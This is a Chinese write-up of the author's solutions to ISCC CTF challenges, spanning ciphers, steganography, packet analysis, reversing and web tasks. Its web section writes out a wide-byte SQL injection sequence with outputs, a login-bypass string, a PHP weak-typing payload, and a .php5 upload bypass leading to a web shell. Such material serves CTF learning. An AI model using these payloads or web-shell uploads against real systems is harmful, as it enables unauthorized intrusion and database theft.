在表哥的推荐下尝试了一下Iscc CTF,记录一下自己的答题过程。
Basic
Wheel Cipher
附件:Basic-01.zip
1 | 加密表: |
根据题目找到资料:杰斐逊密码盘
处理加密表
1 | 2: < NACZDTRXMJQOYHGVSFUWIKPBEL < |
找有意义字符串
flag:FIREINTHEHOLE
你猜猜。。
附件:Basic-04.zip
打开附件中的txt,出现了一堆16进制的数字,看到头开的504B
,猜测是压缩包。
用winhex储存为压缩包,发现里面含有一个加密的flag.txt,用工具暴力破解,得到zip密码为123456
,打开txt得到flag。
flag:daczcasdqwdcsdzasd
公邮密码
附件:Basic-08.zip
解压得到加密zip和一个名为pw WINDoWsSEViCEss
,15位,大小写都有,猜测培根密码。
解密得BIT
,解压zip,得到txt内容为RmxhZzp7THkzMTkuaTVkMWYqaUN1bHQhfQ==
,
base64解密。
flag:Flag:{Ly319.i5d1f*iCult!}
神秘图片
附件:Basic-03.zip
得到一张png,放在binwalk中分析,发现还有一张png,提取出来
得到猪圈(共济会)密码的密文,按照百度百科解密即可
flag:goodluck
告诉你个秘密
附件:Basic-02.zip
给出了含有16进制数字的txt,16进制转ascii
1 | cjV5RyBscDlJIEJqTSB0RmhC |
base64解码:
1 | r5yG lp9I BjM tFhB |
键盘围起来的键:TONGYUAN
flag:TONGYUAN
PHP_encrypt_1
附件:Basic-09.zip
给出了密文fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
和php的加密代码
1 |
|
python解密脚本
1 | import base64 |
二维码
附件:Basic-07.zip
一张二维码图片,先扫描得到The password of the router is our flag
直接改文件后缀名变成zip,解压,得到另一个加密的zip文件。
用zip爆破工具爆破,密码是20161114
解压,有一个cap文件和一个txt,txt内容为前四位是ISCC 后四位由大写字母和数字构成
,用EWSA工具字典爆破。
python生成字典:
1 | s= r'1234567890QWERTYUIOPASDFGHJKLZXCVBNM' |
用ESWA工具爆破得到flag:ISCC168A
Mobile
Misc
眼见非实
附件:Misc-02.zip
题目给出一个word文档,结果没办法用word打开,用ue查看,发现文件头是PK,直接解压。在文件夹中搜索flag关键字即可。
flag:flag{F1@g}
就在其中
附件:Misc-03.zip
题目给的pcapng用wireshark分析,在tcp协议中看到了PK开头的16进制,提取保存zip发现有key.txt,却提取失败。用binwalk直接提取全部,去掉看起来无用的部分,剩下了一个zip,zip中提取的key.txt,一个.key文件,key文件中存在rsa私钥。
运用openssl解密openssl rsautl -decrypt -inkey AC76.key -in key.txt -out 1.txt
打开生成的1.txt。
flag:haPPy_Use_0penSsI
很普通的Disco
附件:Misc-04.zip
一道mp3隐写题,用GoldWave
打开,分析波形,转到最前面发现有一部分奇怪的波形。
将单声道波形提取出来,接近1的变成1,接近-1的变成0,得到二进制
11001101101100110000111001111111011101011101100001010111010101011001101110101110111011011101111001111110
flag:flag{W0W*funny}
很普通的数独
附件:Misc-05.zip
解压出25个数独的图片,但是并不用做数独,将有数字的部分填充为黑色,没有数字保持白色,25个图,5*5构成一个二维码。
扫描得base64Vm0xd1NtUXlWa1pPVldoVFlUSlNjRlJVVGtOamJGWnlWMjFHVlUxV1ZqTldNakZIWVcxS1IxTnNhRmhoTVZweVdWUkdXbVZHWkhOWGJGcHBWa1paZWxaclpEUmhNVXBYVW14V2FHVnFRVGs9
多次base64解码。
flag:flag{y0ud1any1s1}
Web
Web签到题,来和我换flag啊!
如题目所说,web的签到题,脑洞题。
查看源代码
1 | <form name="flag" action="index.php" method="post"> |
有一个隐藏的hiddenflag
变量,直接在文本框输入f1ag
,返回哼,就给我一个flag我才不和你换呢
,看来hiddenflag
也需要赋值,返回还不够诚意,不和你换FLAG
,这里出了一个大写的FLAG
,猜测这个也需要赋值,构造post参数hiddenflag=f1ag&flag=f1ag&FLAG=f1ag
,返回这样才有诚意,flag给你吧!
,但是页面并没有显示什么,burpsuite抓包,发现在http响应头中有了f1ag: {N0w_go1Odo!otherw3b}
WelcomeToMySQL
打开链接是一个文件上传的php,随便上传了一张图片,返回了上传路径upload/xxxx
,并有一个提示hint:$servername,$username,$password,$db,$tb is set in ../base.php
,那就试试上传shell吧,只要上传.php
就会有js弹窗,%00
等等绕过也没办法。
经表哥指点,有一种 php5 的神奇的php文件格式,上传通过,用C刀链接。找到base.php
。
1 |
|
存放的应该是mysql的登录信息了,用C刀自带的数据库管理功能登陆,在数据库中找到flag。Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}
where is your flag
用burpsuite抓包,发现网站的编码是gbk,显示******flag is in flag
,访问flag.php,hint:thisisflag
。
网站的编码是gbk,猜测是宽字节注入。
在网站加上?id=2
,字符串******flag is in flag
消失了,确定了是sql注入。
报错:?id=1%df%27
查询列数:
1 | ?id=1%df%27 order by 1,2 --+ 正确 |
查询数据库名:?id=1%df%27 union select 1,group_concat(schema_name) FROM information_schema.schemata --+ information_schema,web_robots
查询表名:?id=1%df%27 union select 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+ article,flag
查询列名:?id=1%df%27 union select 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() --+ id,content,id,thisisflag
出现了thisisflag,跟flag.php提示我们的一样,我们就去查这个字段。
查询字段:?id=1%df%27 union select 1,concat(thisisflag) FROM flag--+
,返回Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation 'UNION'
,用union函数查询的时候,表的编码与网页的编码不同,无法输出。
利用hex()
函数将输出的内容转化为16进制,再转化回来。
payload:?id=1%bf%27 union select 1,hex(concat(thisisflag)) From flag --+
得到16进制666C61673A7B34343162376661313631373330376265393633323236336134343937383731657D
flag:flag:{441b7fa1617307be9632263a4497871e}
我们一起来日站
打开题目,提示我们寻找网站后台。试过了一些简单的/admin/
之类的都是404,经表哥提示,找到了robots.txt
,访问得到
1 | # |
进入http://139.129.108.53:5090/web-04/21232f297a57a5a743894a0e4a801fc3/
,提示寻找继续寻找admin page
,这里直接admin.php
就找到了后台。
用burpsuite抓包,发现存在sql漏洞
运用万能密码'or 'a'='a
(常用万能密码)Flag:{ar32wefafafqw325t4rqfcafas}
自相矛盾
php代码审计题,先看源代码,因为运行的代码只输出nope,看不出执行到了那一步,所以我改了一下在本地测试。
代码如下:
1 |
|
主要知识是php的弱类型:当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
bar1可以传入字符串格式,比较会强制转换。
{"bar1":"2017a"}
bar2传入5位数组且0位也要是数组,
array_search()
函数比较也是弱类型比较,intval(“nudt”)=0。
{"bar2":[[0],0,0,0,0]}
cat也是数组,不过cat[1]要与dog比较,dog需要含有isccctf2017
,eregi()
可以用%00
截断。
cat[0]=1&cat[1][]=1&dog=%00isccctf2017
payload:?iscc={"bar1":"2019a","bar2":[[0],0,0,0,0]}&cat[0]=1&cat[1][]=1&dog=%00isccctf2017
得到flag:flag{sfklljljdstuaft}
Reverse
你猜
用ida打开,直接找到main,反编译。题目让找到三个string。
如果要输出good job,就要让sub_400646()返回0,sub_400755()返回1。进入这两个函数。
sub_400646()函数比较了输入字符串,一排vx就是用于比较的标准字符串,得到两个字符串l1nux
、crack
。
sub_400755()函数更简单,按照if语句条件可依次推出字符串,ILCF!
flag:flag{l1nux_crack_ILCF!}